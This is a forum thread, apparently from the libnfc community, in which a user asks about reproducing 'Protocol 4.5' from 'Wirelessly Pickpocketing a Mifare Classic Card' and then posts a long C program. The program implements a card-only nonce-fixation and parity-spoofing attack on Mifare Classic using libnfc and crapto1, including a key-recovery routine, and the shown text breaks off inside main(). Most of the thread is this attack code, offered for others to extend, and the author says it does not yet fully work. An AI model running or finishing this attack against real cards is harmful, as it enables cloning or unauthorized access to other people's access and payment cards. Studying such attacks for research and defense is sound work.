Topic: Protocol 4.5, {Nr} and F0, F1, F2, F3

Hello,

Regarding "Protocol 4.5" described in "Wirelessly Pickpocketing Mifafare Classic", did someone managed to verify this protocol and if so:
- how much running time did it take to find such and {Nr}?
- what was the Nt variance  (i.e. how many more-or-less constant Nt values did you have in the run)?
- did the implementation varied {Nr} bytes as described in the protocol or did the implementation varied Nr which through crapto1/crypto1 derived {Nr}?

Asking this since I have written some general F0 to F3  backtracking implementation of the protocol, but it resumes to have most of Nt as being detected non-F0&F1&F2&F3 friendly sad. In my implementation though I have varied Nr (which I fed into LSFR as in roel's example):

// Introduced specific plain Nr, so that we try to find Nr with F0, F1, F2, F3 properties for given Nt
abtArEnc[pos] = crypto1_byte(pcs,crntNrBytes[pos],0) ^ crntNrBytes[pos];

Anyone have some advice?

Thanks a lot in advance

Re: Protocol 4.5, {Nr} and F0, F1, F2, F3

Ok, here's my code - compilable and working code. Though it cannot reach the proof of "Protocol 4.5". Maybe someone will be interested in this code to freely move it forward:

/*  
 File:
    zv_auth_crapto1.c

 Name:
    Mifare Classic TagNonce-fixation attack (card-only attack mode)

 Description:
    Implementing Protocol 4.5 from "Wirelessly Pickpocketing a Mifare Classic Card"
    to find the Nr/{Nr} such that the number of possible states of LSFR is seriously
    restricted to 436 states, so that we should end up trying only 7.9*pow(10,9) keys
    to decrypt the 4 bytes ecnrypted NACK/0x5 code after "successful" authentication
    with matched bogus parity bits.

    For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and before authentication
    technique. Most of the times it gives pretty good results.

    To improve the overall results (but somehow expands the timeslot of attack), the Nt tag nonces
    are stored and looked-up in a sorted array of Nt entries (We can see it as a hash map).

 TODOs:
    0. Make this protocol work and thus confirm the statement from the WPMCC09 paper. Currently
    it gives that most of Nt tag nonces do not have all F0, F1, F2, F3 properties.
    1. Is there a way to define apriori the space of Nt which do not satisfy all F0, F1, F2, F3
    so that we don't waste time even checking F0 for them?
    2. Other TODOs in the code
    3. Modify {Nr} bytes instead of directly modifying the Nr bytes, as specified in protocol

 Contact:
    http://andreicostin.com/
    mailto:zveriu@gmail.com
 
 Requirements:
    crapto1 library            (http://code.google.com/p/crapto1)
    libnfc                     (http://www.libnfc.org)
 
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 2 of the License, or
 (at your option) any later version.
 
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 
 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>. 
*/

/*
BIBLIOGRPAHY (no specific order)
1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card"
2. [ESO08] - "2008-esorics.pdf"
3. [ESOSL08] - "2008-esorics-slides-updated.pdf"
4. [KON08] - "2008-koning-thesis.pdf"
5. [VER08] - "2008-verdult-thesis.pdf"
6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf"
7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf"
8. [MFCLTRB09] - "MifareClassicTroubles.ppt"
9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf"
10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf"
11. [ROSS] - "rossum-mifare.pdf"
12. [PLOTZ08] - "SAR-PR-2008-21_.pdf"
13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf"

zveriu TODO:
1. try running in Release (not debug mode) - check timings
2. check whether after a tag nonce received it is possible to fool tag to 
regenerate another tag nonce in the same session thus in case non_distance <> 0
than expected we can delay so that we have higher chances on landing on the same
tag nonce
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libnfc.h"

// zveriu
#include "crapto1.h"

#define NOMINMAX
#include "windows.h"

#define MAX_TAG_NONCES                  65536 // Suppose from 2^32, only MAX 2^16 tag nonces will appear given current sleeps
#define MAX_BACKTRACK_LEVELS            4 // Nr is 4 bytes, so we have 4 properties to check F0, F1, F2, F3 in a backtrack fassion

//#define DEBUG_RECOVER_KEY

typedef struct parity_check
{
    uint32_t tagNonce; // Tag nonce we target to fix
    uint8_t crntBacktrackLevel; // Init with 0. Once property F0 found, advance. If property F[crntBacktrackLevel] cannot be found, go back one level and try next Nr of the new level
    byte_t crntNrBytes[MAX_BACKTRACK_LEVELS][4];
    uint8_t crntParByte[MAX_BACKTRACK_LEVELS]; // Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    uint32_t uiRxLen[MAX_BACKTRACK_LEVELS]; // In case of success we want to store the length of the parity response (4 bits - but could it be more?!)
    byte_t abtRx[MAX_BACKTRACK_LEVELS][MAX_FRAME_LEN]; // And the 4 bits encrypted returned for the guessed parity bits. TODO: how to decrypt these 4 bits into 0x5, 0xa, 0x4 (Attack.MIFARE.pdf page 14)
    byte_t spoofFlag; // No spoofing until we have a successful auth with this tagNonce. Once we have, we want to spoof to get the encrypted 0x5 value
    
    // Successful authentication data Ar and At (along with parities), to test in the Nohl/Plotz tests.c
    byte_t suxAbtArEnc[8];
    byte_t suxAbtArEncPar[8];
    uint32_t suxUiRxLen;
    byte_t suxAbtRx[MAX_FRAME_LEN];
    byte_t suxAbtRxPar[MAX_FRAME_LEN];

    // TODO: remove later. seems like encryptying 0x5 doesn't give yet desired results
    //byte_t haveNackEnc;
    //byte_t arrNackEnc[4];

    // Generic approach to entire backtrack algorithm
    byte_t tagHasNoNrWithPropertiesF; // init 0, 1 means do not check this tag anymore
    byte_t checkingNegatedLastBit; // Init 0 on a new backtrack level or on a new Nr byte of a downgraded back track level, set to 1 in the same backtrack level if checking property F(crntBacktrackLevel)
    uint8_t NrBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncNegBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncBytesParity[MAX_BACKTRACK_LEVELS]; // Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    uint8_t NrEncNegBytesParity[MAX_BACKTRACK_LEVELS]; // Parity bits for negated jth byte Nr. Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    byte_t hasPropertyF[MAX_BACKTRACK_LEVELS]; // Init all with 0
} parity_check_t;

    LARGE_INTEGER nFreq;
    LARGE_INTEGER nBeginTime;
    LARGE_INTEGER nEndTime;
    int execution_time = 0;
    double g_exec_time = 0;
    long long ll_exec_time = 0;

    uint32_t uid;
    // First array simulates the tag nonces 32 bit possible combinations (we take last byte only)
    parity_check_t arrSpoofEntries[MAX_TAG_NONCES];
    uint32_t numSpoofEntries = 0;
    uint8_t maxBacktrackLevel = 0;

int compareTagNonces (const void * a, const void * b)
{
    if ( *(uint32_t*)a > *(uint32_t*)b ) return 1;
    if ( *(uint32_t*)a == *(uint32_t*)b ) return 0;
    if ( *(uint32_t*)a < *(uint32_t*)b ) return -1;

    return 0; // Never reach here, but keep compiler happy
}
// zveriu


bool mifare_test(dev_info* pdi, byte_t* pbtUid, uint64_t ui64Key, uint32_t uiBlock)
{
    uint32_t pos, pos2, nt;
    struct Crypto1State* pcs;
    byte_t abtAuth[4]        = { 0x60,0x00,0x00,0x00 };
    byte_t abtArEnc[8]       = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
    byte_t abtArEncPar[8]    = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
    byte_t abtRx[MAX_FRAME_LEN];
    byte_t abtRxPar[MAX_FRAME_LEN];
    uint32_t uiRxLen;

    // zveriu
    static uint32_t nt2 = 0;
    uint32_t nt2_var = 0;
    uint32_t nr_enc             = 0;
    uint32_t reader_response    = 0;
    uint32_t tag_response       = 0;
    uint32_t ks2                = 0;
    uint32_t ks3                = 0;
    struct Crypto1State* pcs_rollback;
    uint64_t lfsr;
    unsigned char* plfsr = (unsigned char*)&lfsr;
    char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5)
    parity_check_t *ptrFoundTagNonceEntry = NULL;
    uint8_t crntBytePar; // TODO: remove, replaced with crntParityBits
    //uint8_t *crntParityBits;
    uint8_t *crntNrBytes;
    byte_t parityMask;

    // Configure the authentication frame using the supplied block 
    abtAuth[1] = uiBlock;
    append_iso14443a_crc(abtAuth,2);

    // Now we take over, first we need full control over the CRC
    nfc_configure(pdi,DCO_HANDLE_CRC,false);

    // zveriu
    //QueryPerformanceCounter(&nEndTime);
    // ms UOM
    /*
    execution_time = (nEndTime.QuadPart - nBeginTime.QuadPart)*1000000/(nFreq.QuadPart);
    g_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart)/(double)(nFreq.QuadPart);
    ll_exec_time += (nEndTime.QuadPart - nBeginTime.QuadPart);
    printf("from DCO_ACTIVATE_FIELD till AUTH_A takes %d us or %g s or %ld quads\n", execution_time, g_exec_time, ll_exec_time);
    */

    // Request plain tag-nonce
    printf("Nt: ");
    if (!nfc_initiator_transceive_bytes(pdi,abtAuth,4,abtRx,&uiRxLen))
    {
      printf("\n\n!!! Failed to get TAG NONCE !!!\n\n");
      return false;
    }
    print_hex(abtRx,4);

    // Save the tag nonce (nt)
    nt = swap_endian32(abtRx);

    // zveriu
    printf("Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt2), nt, nt2);
    nt2 = nt;

    // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
    ptrFoundTagNonceEntry = (parity_check_t *) bsearch((void *)(&nt2), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);

    if (!ptrFoundTagNonceEntry)
    {
        if (numSpoofEntries >= MAX_TAG_NONCES)
        {
            printf("\n\n!!! REACHED MAX_TAG_NONCES !!!\n\n");
            return false;
        }

        // TODO: initialize properly all the new members
        arrSpoofEntries[numSpoofEntries].tagNonce = nt2;
        numSpoofEntries++;

        // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
        qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);

        ptrFoundTagNonceEntry = (parity_check_t *) bsearch((void *)(&nt2), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
    }
    else
    {
        // TODO: reuse the "// If current level" code
        // TOOD: use a common pointer below to either ptrFoundTagNonceEntry->NrEncBytesParity or ptrFoundTagNonceEntry->NrEncNegBytesParity
        if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
        {
            // No parity bits combination of those 256 possible returned successful NACK
            if (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
            {
                // If current level Nr non-encryp byte is exhausted
                if (ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
                {
                    //ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] = 0;
                    for (pos = ptrFoundTagNonceEntry->crntBacktrackLevel; pos < MAX_BACKTRACK_LEVELS; pos++)
                    {
                        ptrFoundTagNonceEntry->NrBytes[pos] = 0;
                    }

                    ptrFoundTagNonceEntry->crntBacktrackLevel--;

                    if (ptrFoundTagNonceEntry->crntBacktrackLevel >= 255)
                    {
                        ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF = 1;
                    }
                }

                ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
        }
        else
        {
            if (ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
            {
                // If current level Nr non-encryp byte is exhausted
                if (ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
                {
                    //ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] = 0;
                    for (pos = ptrFoundTagNonceEntry->crntBacktrackLevel; pos < MAX_BACKTRACK_LEVELS; pos++)
                    {
                        ptrFoundTagNonceEntry->NrBytes[pos] = 0;
                    }

                    ptrFoundTagNonceEntry->crntBacktrackLevel--;

                    if (ptrFoundTagNonceEntry->crntBacktrackLevel >= 255)
                    {
                        ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF = 1;
                    }
                }

                ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
        }
    }

    if (ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF == 1)
    {
        printf("\n\n\t\tTAG NONCE has no Nr with needed properties. This TAG NONCE is useless:(\n\n");
        return false;
    }

    // TOOD: use a common pointer from above to either ptrFoundTagNonceEntry->NrEncBytesParity or ptrFoundTagNonceEntry->NrEncNegBytesParity
    if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
    {
        crntBytePar = ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel];
    }
    else
    {
        crntBytePar = ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel];
    }

    sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag;
    crntNrBytes = &(ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);

    // Init cipher with key
    pcs = crypto1_create(ui64Key);

    // Load (plain) uid^nt into the cipher
    for (pos=0; pos<4; pos++)
    {
        // Update the cipher with the tag-initialization 
        crypto1_byte(pcs,pbtUid[pos]^abtRx[pos],0);
    }

    // zveriu TODO: it is unlikely that here we should encrypt 0x5 to see how it looks like because here
    // the state is always the same/constant, but the encrypted 0x5 always were different, depending on Nt, possibly {Nr,Ar} also

    // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
    for (pos=0; pos<4; pos++)
    {
        // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
        //abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00;
        // Introduced specific plain Nr, so that we try to find Nr with F0, F1, F2, F3 properties for given Nt
        abtArEnc[pos] = crypto1_byte(pcs,crntNrBytes[pos],0) ^ crntNrBytes[pos];

        // Encrypt the parity bits for the 4 plaintext bytes of nr
        //abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
        // Introduced specific plain Nr, so that we try to find Nr with F0, F1, F2, F3 properties for given Nt
        abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(crntNrBytes[pos]);

        // TODO: save the {Nr} into current pointer NrEncBytes[pos]
        ptrFoundTagNonceEntry->NrEncBytes[pos] = abtArEnc[pos];

#ifdef DEBUG_RECOVER_KEY
        // zveriu Used in RECOVER_KEY section
        nr_enc = nr_enc << 8;
        nr_enc = nr_enc | abtArEnc[pos];
#endif

        if (sendSpoofAr)
        {
            if (ptrFoundTagNonceEntry->checkingNegatedLastBit)
            {
                abtArEnc[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos];
            }
            
            // Put actually the parity we are trying to guess
            abtArEncPar[pos] = (crntBytePar & (1 << pos)) >> pos;
        }
    }

    // zveriu TODO: somewhere here possibly is the most appropriate place to crypto1_bit() for 0x5 (binary 0101, 4 bits)
    // 1. get the output, store in current ptrFoundTagNonceEntry->nackEncFirst and exit, next time avoid this
    // 2. then, when entering spoof mode for a tag and getting successful 0x5, verify whether nackEncFirst equals to abtRx
  
    // Skip 32 bits in pseudo random generator
    nt = prng_successor(nt,32);
  
    // Generate reader-answer from tag-nonce (Ar)
    for (pos=4; pos<8; pos++)
    {
        // Get the next random byte for verify the reader to the tag 
        nt = prng_successor(nt,8);

        // Encrypt the reader-answer (nt' = suc2(nt))
        abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff);
        // Encrypt the parity bits for the 4 plaintext bytes of nt'
        abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff);

#ifdef DEBUG_RECOVER_KEY
        // zveriu Used in RECOVER_KEY section
        reader_response = reader_response << 8;
        reader_response = reader_response | abtArEnc[pos];
#endif

        // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above
        /* If all eight parity bits are correct, but the answer Ar is
        wrong, the tag responds with the 4-bit error code 0x5
        signifying failed authentication, called ‘transmission error’ in [KHG08].
        */
        if (sendSpoofAr)
        {
            // Always send bogus 0x00000000 Ar
            abtArEnc[pos] = 0;
            abtArEncPar[pos] = (crntBytePar & (1 << pos)) >> pos;
        }
    }

    // zveriu TODO: somewhere here possibly is the most appropriate place to crypto1_bit() for 0x5 (binary 0101, 4 bits)
    // 1. get the output, store in current ptrFoundTagNonceEntry->nackEncSecond and exit, next time avoid this
    // 2. then, when entering spoof mode for a tag and getting successful 0x5, verify whether nackEncSecond equals to abtRx
    /*
    if ( !ptrFoundTagNonceEntry->haveNackEnc )
    {
        // Encrypt 0x5 (0101b) consecutively
        ptrFoundTagNonceEntry->arrNackEnc[0] = crypto1_bit(pcs, 0, 0) ^ 0;
        ptrFoundTagNonceEntry->arrNackEnc[1] = crypto1_bit(pcs, 1, 0) ^ 1;
        ptrFoundTagNonceEntry->arrNackEnc[2] = crypto1_bit(pcs, 0, 0) ^ 0;
        ptrFoundTagNonceEntry->arrNackEnc[3] = crypto1_bit(pcs, 1, 0) ^ 1;
        ptrFoundTagNonceEntry->haveNackEnc = 1;
        return false;
    }
    */

    // Finally we want to send arbitrary parity bits
    nfc_configure(pdi,DCO_HANDLE_PARITY,false);

    // Transmit reader-answer
    printf(" Ar: ");
    print_hex_par(abtArEnc,64,abtArEncPar);

    if (!nfc_initiator_transceive_bits(pdi,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar))
    {
        /*
        // zveriu
        if (uiRxLen == 4)
        {
            printf("FAILED 4-bit error code 0x5 encrypted: uiRxLen=%d, abtRx=0x%02x\n", uiRxLen, abtRx[0]);
        }

        printf(" At (NON-relevant): "); 

        // zveriu 
        print_hex_par(abtRx,uiRxLen,abtRxPar);
        */

        return false;
    }

    // zveriu - Successful: either authentication (uiRxLen == 32) either 0x5 reponse (uiRxLen == 4)
    if (uiRxLen == 4)
    {
        printf("\n\n\t\tSUCCESS 4-bit error code 0x5 encrypted: uiRxLen=%d, abtRx=0x%02x\n\n", uiRxLen, abtRx[0]);

        printf("\t\tNOHL/PLOTZ Ar: ");print_hex_par(ptrFoundTagNonceEntry->suxAbtArEnc,64,ptrFoundTagNonceEntry->suxAbtArEncPar);
        printf("\t\tNOHL/PLOTZ At: ");print_hex_par(ptrFoundTagNonceEntry->suxAbtRx,ptrFoundTagNonceEntry->suxUiRxLen,ptrFoundTagNonceEntry->suxAbtRxPar);

        // ============================================

        ptrFoundTagNonceEntry->uiRxLen[ptrFoundTagNonceEntry->crntBacktrackLevel] = uiRxLen;
        for (pos = 0; pos < (uiRxLen+7)/8; pos++)
        {
            ptrFoundTagNonceEntry->abtRx[ptrFoundTagNonceEntry->crntBacktrackLevel][pos] = abtRx[pos];
        }

        // For a given crntBacktrackLevel, we need to test the property F(crntBacktrackLevel) by testing the negated jth byte and find the P' parity bits
        if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
        {
            // [WPMCC09] page 8: The earlier bits of {n?R} she chooses the same as those of {nR}
            for (pos = 0; pos < ptrFoundTagNonceEntry->crntBacktrackLevel; pos++)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncBytes[pos];
            }

            // [WPMCC09] page 8: Now the attacker defines {n?R,8j+7} := !{nR,8j+7}, i.e., she changes the last bit of the jth byte of {nR}.
            ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncBytes[pos];
            // TODO: make a macro for this and optimize FLIP_BIT
            if (ptrFoundTagNonceEntry->NrEncNegBytes[pos] & 0x01)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos] & 0xfe;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos] | 0x01;
            }

            // [WPMCC09] page 8: The later bits of {n?R} and {a?R} the attacker chooses arbitrarily.
            // NOTE: Ar is alwasys "arbitrarily" 0 (in code of spoofed Ar calculation)
            for (pos2 = pos+1; pos2 < MAX_BACKTRACK_LEVELS; pos2++)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos2] = 0;
            }

            for (parityMask = 0, pos = 0; pos < ptrFoundTagNonceEntry->crntBacktrackLevel; pos++)
            {
                parityMask = (parityMask << 1) | 0x1;
            }

            ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] = (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] & (parityMask << (8 - ptrFoundTagNonceEntry->crntBacktrackLevel)) );

            // After the above construction of negated last bit of jth byte, mark that we need to check the negated bits NrEnc
            ptrFoundTagNonceEntry->checkingNegatedLastBit = 1;
        }
        // Advance one level of bactracking since we passed the property F(ptrFoundTagNonceEntry->crntBacktrackLevel)
        else
        {
            printf("\n\n\tBacktrack level %d COMPLETED:", ptrFoundTagNonceEntry->crntBacktrackLevel);
            printf("\n\t\tNr[%d]: 0x%02x", ptrFoundTagNonceEntry->crntBacktrackLevel, ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);
            printf("\n\t\t{Nr}[%d]: 0x%02x", ptrFoundTagNonceEntry->crntBacktrackLevel, ptrFoundTagNonceEntry->NrEncBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);

            printf("\n\tChecking property F%d:", ptrFoundTagNonceEntry->crntBacktrackLevel);

            if ( ( (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] >> (8-ptrFoundTagNonceEntry->crntBacktrackLevel-1)) & 0x01 ) != 
                 ( (ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] >> (8-ptrFoundTagNonceEntry->crntBacktrackLevel-1)) & 0x01 )
                )
            {
                printf(" PRESENT :)");
                // We go to the next level, seeking next Nr byte
                ptrFoundTagNonceEntry->crntBacktrackLevel++;
                // Thus we start from scratch on next Nr byte, so we are not in checkingNegatedBit anymore
                ptrFoundTagNonceEntry->checkingNegatedLastBit = 0;
            }
            else
            {
                printf(" MISSING :(");
                // We are STILL in checkingNegatedBit state, but we need next value for current Nr byte, so we simulate it for next loop
                ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] = 255;
            }

            if (ptrFoundTagNonceEntry->crntBacktrackLevel > maxBacktrackLevel)
            {
                maxBacktrackLevel = ptrFoundTagNonceEntry->crntBacktrackLevel;
            }

            if (ptrFoundTagNonceEntry->crntBacktrackLevel == MAX_BACKTRACK_LEVELS)
            {
                printf("WTF?!");
            }
        }

        /*
        // TODO: generalize for the entire backtrack algorithm
        // Save the {Nr} used in current backtrack level
        for (pos = 0; pos < 4; pos++)
        {
            ptrFoundTagNonceEntry->crntNrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel][pos] = abtArEnc[pos];

            if (ptrFoundTagNonceEntry->crntBacktrackLevel == 0)
            {
                ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[0][pos];

                // Flip the last bit of the {Nr}, bit 31. (particular case of F3 property)
                if (pos == 3)
                {
                    if (ptrFoundTagNonceEntry->crntNrBytes[1][pos] & 0x01)
                    {
                        ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[1][pos] & 0xfe;
                    }
                    else
                    {
                        ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[1][pos] | 0x01;
                    }
                }
            }
        }

        // TODO: generalize for the entire backtrack algorithm
        // Second level is to use the same {parity} for first 3 bits and randomly vary last 5 (particular case of F3 property)
        if (ptrFoundTagNonceEntry->crntBacktrackLevel == 0)
        {
            ptrFoundTagNonceEntry->crntParByte[1] = (ptrFoundTagNonceEntry->crntParByte[0] & (0x7 << 5) );
        }

        ptrFoundTagNonceEntry->crntBacktrackLevel++;

        if (ptrFoundTagNonceEntry->crntBacktrackLevel == 2)
        {
            QueryPerformanceCounter(&nEndTime);
            execution_time = (nEndTime.QuadPart - nBeginTime.QuadPart)*1000000/(nFreq.QuadPart);
            g_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart)/(double)(nFreq.QuadPart);
            ll_exec_time += (nEndTime.QuadPart - nBeginTime.QuadPart);
            printf("BACKTRACK_LEVEL_2 took %d us or %g s or %ld quads\n", execution_time, g_exec_time, ll_exec_time);
            printf("");
            QueryPerformanceCounter(&nBeginTime);
        }
        */

        // ============================================
    }
    else if (uiRxLen == 32)
    {
        // zveriu DONE 
        // 1. do a successful authentication for a tag nonce
        // 2. store a successful authentication abtArEnc/abtArEncPar and abtRx/abtRxPar
        // 3. when the same tag nonce comes again do the spoofing for only that tag nonce until it answers with 4 bits
        // 4. stop when such first situation occur and input all the data into tests.c of Nohl/Plotz
        // 5. check if the returned 4 bits code is the ciphertext counterpart of 0x5
        ptrFoundTagNonceEntry->spoofFlag = 1;

        for (pos = 0; pos < 8; pos++)
        {
            ptrFoundTagNonceEntry->suxAbtArEnc[pos] = abtArEnc[pos];
            ptrFoundTagNonceEntry->suxAbtArEncPar[pos] = abtArEncPar[pos];
        }

        ptrFoundTagNonceEntry->suxUiRxLen = uiRxLen;
        for (pos = 0; pos < (uiRxLen+7)/8; pos++)
        {
            ptrFoundTagNonceEntry->suxAbtRx[pos] = abtRx[pos];
            ptrFoundTagNonceEntry->suxAbtRxPar[pos] = abtRxPar[pos];
        }
    }

    printf(" At: "); 
    print_hex_par(abtRx,uiRxLen,abtRxPar);

#ifdef DEBUG_RECOVER_KEY
    // zveriu: TODO: how the fuck to decrypt/recover from 4 bit error code?
    /**
    if (uiRxLen == 4)
    {
        nt2_var = prng_successor(nt2, 64);
        ks2 = reader_response ^ nt2_var;

        nt2_var = prng_successor(nt2, 4);
        tag_response = abtRx[0];
        ks3 = 0;
        ks3 = ks3 | ((tag_response & 0x1) ^ (nt2_var & 0x1));
        ks3 = ks3 | ((tag_response & 0x2) ^ (nt2_var & 0x2));
        ks3 = ks3 | ((tag_response & 0x4) ^ (nt2_var & 0x4));
        ks3 = ks3 | ((tag_response & 0x8) ^ (nt2_var & 0x8));
        //pcs_rollback = lfsr_recovery64(ks2, ks3);
        pcs_rollback = lfsr_recovery32(ks2, 0x5);

        //lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, nr_enc, 1);
        lfsr_rollback(pcs_rollback, uid ^ nt2, 0);
        crypto1_get_lfsr(pcs_rollback, &lfsr);

        printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

        crypto1_destroy(pcs_rollback);
    }
    else */
    if (uiRxLen == 32)
    {
        for (pos=0; pos<4; pos++)   
        {
            tag_response = tag_response << 8;
            tag_response = tag_response | abtRx[pos];
        }

        ks2 = reader_response ^ prng_successor(nt2, 64);
        ks3 = tag_response ^ prng_successor(nt2, 96);
        pcs_rollback = lfsr_recovery64(ks2, ks3);

        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, nr_enc, 1);
        lfsr_rollback(pcs_rollback, uid ^ nt2, 0);
        crypto1_get_lfsr(pcs_rollback, &lfsr);

        printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

        crypto1_destroy(pcs_rollback);
    }
    /**/
    
#endif

    crypto1_destroy(pcs);

    return true;
}

int main(int argc, const char* argv[])
{
  dev_info* pdi;
  tag_info ti;
  uint32_t uiBlock;
  uint64_t ui64Key;
  //uint32_t pos, pos2;
  int pressKey = 0;

    QueryPerformanceFrequency(&nFreq);

  if (argc < 3)
  {
    printf("syntax: %s <key> <block>\n",argv[0]);
    return 1;
  }
  
  sscanf(argv[1],"%012llx",&ui64Key);
  sscanf(argv[2],"%02x",&uiBlock);

  // Try to open the NFC reader
  pdi = nfc_connect(NULL);
  
  if (pdi == INVALID_DEVICE_INFO)
  {
    printf("Error connecting NFC reader\n");
    return 1;
  }
  nfc_initiator_init(pdi);

  printf("\nConnected to NFC reader: %s\n\n",pdi->acName);

    // zveriu
    QueryPerformanceCounter(&nBeginTime);

    memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));

    /*
http://www.libnfc.org/community/topic/71/controlling-nonce-with-touchatag/

It would help if you drop the field and call nfc_initiator_select_tag() 
immediately followed by sending the auth (0x60 ...) frame. The nfc_initiator_select_tag() 
will enabled the field just before performing the anti-collision. Don't forget to set 
the configuration option that the chip should not handle the CRC before you send the auth frame.
It should work using ~300ms delay (the proxmark seems to get better results).
Tests show that 3 of 5 nonces are the same. For getting better results, a measurement of 
the nonce-distance (for guessing the next nonce) seems to work more stable.
The field could stay enabled for this. Use the UID as initiator data during the second 
call to nfc_initiator_select_tag(), it will use a WUPA (0x52) frame then instead 
